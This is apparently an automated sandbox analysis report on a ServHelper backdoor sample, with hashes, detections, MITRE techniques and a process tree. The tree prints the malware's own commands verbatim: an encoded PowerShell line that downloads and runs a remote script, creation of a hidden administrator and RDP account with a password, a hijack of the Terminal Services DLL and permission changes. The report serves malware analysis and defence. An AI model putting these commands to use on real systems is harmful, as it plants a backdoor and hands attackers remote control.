servhelper | c2748f872784ed3b7b9b2c51993d861a5283d3ca17579d367149031b2e479d82

Analysis

max time kernel
139s
max time network
95s
platform
windows7_x64
resource
win7v20210408
submitted
09-07-2021 18:32

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General

Target

08a384b9655fb403506ef9a621d2fa01.exe
Size

4.3MB
MD5

08a384b9655fb403506ef9a621d2fa01
SHA1

b6b977dbc86b6929646e8a0b0bb77b6768b124f9
SHA256

c2748f872784ed3b7b9b2c51993d861a5283d3ca17579d367149031b2e479d82
SHA512

71b462a33c601cabfbb9ddd9b650d8673b9ed06c9daedc955a1e1f112754be90ddf406c422a75b25fe86f7cf83ba9246ab7ab6386866e99b4134e0dc83f412c1

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral1/memory/1672-64-0x000000001D0E0000-0x000000001D700000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1500	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1580	icacls.exe
1088	icacls.exe
1020	icacls.exe
1012	takeown.exe
1896	icacls.exe
1036	icacls.exe
948	icacls.exe
1280	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013108-193.dat	upx
behavioral1/files/0x000500000001310a-194.dat	upx

Deletes itself 1 IoCs

pid	Process
2004	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
924	Process not Found
924	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1280	icacls.exe
1580	icacls.exe
1088	icacls.exe
1020	icacls.exe
1012	takeown.exe
1896	icacls.exe
1036	icacls.exe
948	icacls.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1672 set thread context of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d6f9f474-19c1-4545-b635-cd0dea775899	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_493c0556-2d47-41d4-a975-63c68803c2f5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_392485db-7e19-468e-b6fa-23287d9724c0	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a41d1957-81f5-4342-a200-72baa21ccd20	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_70e85566-cda8-4aee-8514-4caff59a93b6	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2014e609-a287-488e-a6c8-5aac86a865e9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_72d66f21-5a4c-4e0f-bd37-da24c9f4fe93	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_590388f2-ad13-4ebd-9cae-b94e7220c6cb	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YV6PCK9ETHYK6PUR70GW.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0535feea-2861-4bec-9071-be174cd0e247	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f765f1a4-aba3-42e9-8a0d-b850a0bece8e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_544e5f6d-caab-4508-a83c-d25db7d63d5c	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 90d626290175d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
608	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe
1696	powershell.exe
1696	powershell.exe
636	powershell.exe
636	powershell.exe
1064	powershell.exe
1064	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
1500	powershell.exe
1500	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
924	Process not Found
924	Process not Found
924	Process not Found
924	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeRestorePrivilege	1036	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeAuditPrivilege	2020	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2020	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2020	WMIC.exe
Token: SeAuditPrivilege	2020	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeAuditPrivilege	1616	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeAuditPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1500	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 1672 wrote to memory of 2044	1672	08a384b9655fb403506ef9a621d2fa01.exe	29
PID 2044 wrote to memory of 2004	2044	vbc.exe	30
PID 2044 wrote to memory of 2004	2044	vbc.exe	30
PID 2044 wrote to memory of 2004	2044	vbc.exe	30
PID 2004 wrote to memory of 1044	2004	powershell.exe	32
PID 2004 wrote to memory of 1044	2004	powershell.exe	32
PID 2004 wrote to memory of 1044	2004	powershell.exe	32
PID 1044 wrote to memory of 1652	1044	csc.exe	33
PID 1044 wrote to memory of 1652	1044	csc.exe	33
PID 1044 wrote to memory of 1652	1044	csc.exe	33
PID 2004 wrote to memory of 1696	2004	powershell.exe	34
PID 2004 wrote to memory of 1696	2004	powershell.exe	34
PID 2004 wrote to memory of 1696	2004	powershell.exe	34
PID 2004 wrote to memory of 636	2004	powershell.exe	36
PID 2004 wrote to memory of 636	2004	powershell.exe	36
PID 2004 wrote to memory of 636	2004	powershell.exe	36
PID 2004 wrote to memory of 1064	2004	powershell.exe	38
PID 2004 wrote to memory of 1064	2004	powershell.exe	38
PID 2004 wrote to memory of 1064	2004	powershell.exe	38
PID 2004 wrote to memory of 1012	2004	powershell.exe	41
PID 2004 wrote to memory of 1012	2004	powershell.exe	41
PID 2004 wrote to memory of 1012	2004	powershell.exe	41
PID 2004 wrote to memory of 1896	2004	powershell.exe	42
PID 2004 wrote to memory of 1896	2004	powershell.exe	42
PID 2004 wrote to memory of 1896	2004	powershell.exe	42
PID 2004 wrote to memory of 1036	2004	powershell.exe	43
PID 2004 wrote to memory of 1036	2004	powershell.exe	43
PID 2004 wrote to memory of 1036	2004	powershell.exe	43
PID 2004 wrote to memory of 948	2004	powershell.exe	44
PID 2004 wrote to memory of 948	2004	powershell.exe	44
PID 2004 wrote to memory of 948	2004	powershell.exe	44
PID 2004 wrote to memory of 1280	2004	powershell.exe	45
PID 2004 wrote to memory of 1280	2004	powershell.exe	45
PID 2004 wrote to memory of 1280	2004	powershell.exe	45
PID 2004 wrote to memory of 1580	2004	powershell.exe	46
PID 2004 wrote to memory of 1580	2004	powershell.exe	46
PID 2004 wrote to memory of 1580	2004	powershell.exe	46
PID 2004 wrote to memory of 1088	2004	powershell.exe	47
PID 2004 wrote to memory of 1088	2004	powershell.exe	47
PID 2004 wrote to memory of 1088	2004	powershell.exe	47
PID 2004 wrote to memory of 1020	2004	powershell.exe	48
PID 2004 wrote to memory of 1020	2004	powershell.exe	48
PID 2004 wrote to memory of 1020	2004	powershell.exe	48
PID 2004 wrote to memory of 824	2004	powershell.exe	49
PID 2004 wrote to memory of 824	2004	powershell.exe	49
PID 2004 wrote to memory of 824	2004	powershell.exe	49
PID 2004 wrote to memory of 608	2004	powershell.exe	50
PID 2004 wrote to memory of 608	2004	powershell.exe	50
PID 2004 wrote to memory of 608	2004	powershell.exe	50
PID 2004 wrote to memory of 1348	2004	powershell.exe	51
PID 2004 wrote to memory of 1348	2004	powershell.exe	51
PID 2004 wrote to memory of 1348	2004	powershell.exe	51
PID 2004 wrote to memory of 1384	2004	powershell.exe	52
PID 2004 wrote to memory of 1384	2004	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\08a384b9655fb403506ef9a621d2fa01.exe
"C:\Users\Admin\AppData\Local\Temp\08a384b9655fb403506ef9a621d2fa01.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gkfcmjc1\gkfcmjc1.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1044
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES32A4.tmp" "c:\Users\Admin\AppData\Local\Temp\gkfcmjc1\CSC96A573A24DE345DD86378D74CB7731.TMP"
        5⤵
        
        PID:1652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1064
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1012
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1896
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1036
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:948
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1280
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1580
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1088
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1020
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:824
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:608
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1348
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1384
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1248
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:960
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:912
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1972
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1468
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1572
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:240
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1348
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1616

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1536
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:768

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc XKgRzMxN /add
1⤵
PID:1500
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc XKgRzMxN /add
  2⤵
  PID:1980
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc XKgRzMxN /add
    3⤵
    PID:824

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1200
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:920

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1868
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1996

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1156
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1088

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc XKgRzMxN
1⤵
PID:608
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc XKgRzMxN
  2⤵
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc XKgRzMxN
    3⤵
    PID:1104

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1316
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2020

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:980
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1616

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:304
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/636-145-0x00000000026B0000-0x00000000026B1000-memory.dmp

Filesize
4KB

Download
memory/636-146-0x0000000002010000-0x0000000002011000-memory.dmp

Filesize
4KB

Download
memory/636-141-0x000000001AD94000-0x000000001AD96000-memory.dmp

Filesize
8KB

Download
memory/636-143-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/636-139-0x000000001AD90000-0x000000001AD92000-memory.dmp

Filesize
8KB

Download
memory/636-140-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1064-161-0x000000001AB60000-0x000000001AB62000-memory.dmp

Filesize
8KB

Download
memory/1064-162-0x000000001AB64000-0x000000001AB66000-memory.dmp

Filesize
8KB

Download
memory/1500-215-0x00000000194C0000-0x00000000194C2000-memory.dmp

Filesize
8KB

Download
memory/1500-216-0x00000000194C4000-0x00000000194C6000-memory.dmp

Filesize
8KB

Download
memory/1500-246-0x00000000194CA000-0x00000000194E9000-memory.dmp

Filesize
124KB

Download
memory/1672-64-0x000000001D0E0000-0x000000001D700000-memory.dmp

Filesize
6.1MB

Download
memory/1672-66-0x0000000000660000-0x0000000000661000-memory.dmp

Filesize
4KB

Download
memory/1672-67-0x000000001E3E0000-0x000000001E9E9000-memory.dmp

Filesize
6.0MB

Download
memory/1672-62-0x000000001BED0000-0x000000001C6FB000-memory.dmp

Filesize
8.2MB

Download
memory/1672-63-0x0000000000840000-0x0000000000842000-memory.dmp

Filesize
8KB

Download
memory/1672-65-0x0000000000650000-0x0000000000660000-memory.dmp

Filesize
64KB

Download
memory/1672-60-0x000000013FB30000-0x000000013FB31000-memory.dmp

Filesize
4KB

Download
memory/1696-109-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

Filesize
4KB

Download
memory/1696-110-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/1696-105-0x000000001AA70000-0x000000001AA71000-memory.dmp

Filesize
4KB

Download
memory/1696-107-0x000000001B730000-0x000000001B731000-memory.dmp

Filesize
4KB

Download
memory/1696-111-0x000000001AA90000-0x000000001AA92000-memory.dmp

Filesize
8KB

Download
memory/1696-131-0x000000001B690000-0x000000001B691000-memory.dmp

Filesize
4KB

Download
memory/1696-118-0x000000001BA10000-0x000000001BA11000-memory.dmp

Filesize
4KB

Download
memory/1696-112-0x000000001AA94000-0x000000001AA96000-memory.dmp

Filesize
8KB

Download
memory/1696-132-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

Filesize
4KB

Download
memory/2004-113-0x000000001AB8A000-0x000000001ABA9000-memory.dmp

Filesize
124KB

Download
memory/2004-98-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/2004-86-0x000000001C2C0000-0x000000001C2C1000-memory.dmp

Filesize
4KB

Download
memory/2004-81-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/2004-84-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/2004-94-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/2004-80-0x000000001AC00000-0x000000001AC01000-memory.dmp

Filesize
4KB

Download
memory/2004-79-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/2004-83-0x000000001AB84000-0x000000001AB86000-memory.dmp

Filesize
8KB

Download
memory/2004-78-0x000007FEFB701000-0x000007FEFB703000-memory.dmp

Filesize
8KB

Download
memory/2004-96-0x000000001A8F0000-0x000000001A8F1000-memory.dmp

Filesize
4KB

Download
memory/2004-97-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/2004-82-0x000000001AB80000-0x000000001AB82000-memory.dmp

Filesize
8KB

Download
memory/2044-73-0x0000000040997000-0x0000000040998000-memory.dmp

Filesize
4KB

Download
memory/2044-69-0x0000000041120000-0x0000000041541000-memory.dmp

Filesize
4.1MB

Download
memory/2044-75-0x0000000040996000-0x0000000040997000-memory.dmp

Filesize
4KB

Download
memory/2044-76-0x000000004099C000-0x00000000409BB000-memory.dmp

Filesize
124KB

Download
memory/2044-72-0x0000000040992000-0x0000000040994000-memory.dmp

Filesize
8KB

Download
memory/2044-74-0x0000000040994000-0x0000000040996000-memory.dmp

Filesize
8KB

Download
memory/2044-71-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download
memory/2044-68-0x0000000000400000-0x0000000000A57000-memory.dmp

Filesize
6.3MB

Download